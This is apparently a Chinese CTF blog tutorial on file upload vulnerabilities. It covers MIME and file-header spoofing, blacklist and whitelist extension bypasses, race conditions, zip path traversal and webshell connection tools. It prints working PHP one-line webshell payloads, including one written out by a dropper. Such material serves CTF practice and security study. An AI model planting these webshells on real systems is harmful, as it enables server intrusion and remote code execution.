文件上传也算是CTF-Web的一大类题型了,同时也是在实战中有时候也会用到,今天就来总结一下文件上传漏洞的分类以及使用
这里可以推荐一个文件上传的靶场,虽然我自己也是听说过还没做过。。。。
c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)
下面开始总结一下此类题型
先从验证方式可以分为:
- JS前端验证
- 服务器验证
JS前端验证可以直接忽略,直接禁用掉CS,但前端验证一般不会单独出现,一般只会作为第一层验证
而最主要使用的都是服务器验证,服务器验证又有以下方式:
- MIME验证
- 文件头验证
- 后缀名验证
服务器验证就不是单单使用浏览器那么简单了,想绕过服务器验证,你要准备:Brupsuite抓包工具和一句话木马
1.MIME验证绕过
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,也就是设定某种扩展名的文件用一种应用程序来打开的方式类型,具体在http包的header的Content-Type参数中写着。
假如上传一个php文件,抓包后看一下Content-Type
我们发现上传php文件是Content-Type: application/octet-stream 。如果想让服务器通过MIME来判断文件是图片类的,就将Content-Type的值改为下面的即可绕过MIME判断
- PNG: image/png
- JPG: image/jpg
- GIF: image/gif
- MP4: video/mp4
2.文件头验证
MIME毕竟很容易改,所以文件头验证也是很常用的一种方式,我们使用Winhex查看一下png文件的文件头
由于png的ASCII文件头不是很好打出来,所以一般绕过文件头验证都会使用GIF的文件头也就是“GIF89a"
这个是将一个PHP马改了Content-Type和文件头之后的效果,这样就可以绕过服务端验证
3.后缀名验证
这里还要提到服务端验证的另一个分类:
- 白名单验证
- 黑名单验证
顾名思义,白名单验证就比如只允许图片类上传,其他全部ban掉;黑名单就比如禁止php、jsp等文件上传,其他默认允许。
A 黑名单绕过:
- 1、大小写绕过 windows对大小写不敏感,所以上传大小写混写的php进行绕过
- 2、重写绕过: 服务端将黑名单的后缀名替换掉,可以上传.phphp p后缀,替换后就成了.php
- 3、特殊可解析后缀绕过: 黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml等
就比如这次这道题就是使用了 MIME验证、后缀名验证、文件头验证、还加了个<?验证,所以我们使用.phtml的一句话木马,使用<script language="php">标签来代替<?php
<script language="php"> @eval($_POST['shell']); </script>
B 白名单绕过:
- 1、%00截断、0x00截断
- 2、图片马绕过
- 3、条件竞争绕过
这里重点说下条件竞争,前提是服务器是先上传再检测。有问题的删除,这时候就可以先抓一个上传包,然后用bp疯狂上传生成马的马(套娃了),比如
file_put_contents('2.php','<?php eval($_REQUEST[8])?>');
bp这边疯狂上传,再用python或者还是bp去疯狂访问这个马,还是照应了名字:”条件竞争“,就是在服务器检测文件删除之前访问,生成真正的马。
这里重点说了php的马,jsp和asp同理,这里要提一句的是今年的河南省金盾信安杯S3的一道upload题目,上传压缩包会自动解压,考了路径穿越,也就是把压缩包名改成../xxx的格式将压缩包解压到网站根目录
具体有关金盾信安杯S3的WP可以看WKR师傅的博客:河南金盾信安杯S3 2021 WriteUp
最后,一句话木马的利用
PHP的一句话木马是使用eval函数去执行POST过来的参数中的语句,虽然直接把payload POST过去也行,但岂不是太麻烦了,还是使用链接工具方便,一句话木马的连接工具有:
- 菜刀(大多数版本带后门,不建议使用)
- 蚁剑
- 冰蝎
- 哥斯拉
这里我们使用蚁剑来链接上传上去的一句话木马
URL地址就是木马的直链,密码就是POST过去的参数,其他一般情况下默认就可以,连上之后就可以看到靶机的文件了
这时就可以在靶机内找flag了
总之做CTF的WEB题还得思维够活跃,文件上传类题目也会有很多洞
文章就到这里了,如果有问题欢迎各位师傅指正!
Comments NOTHING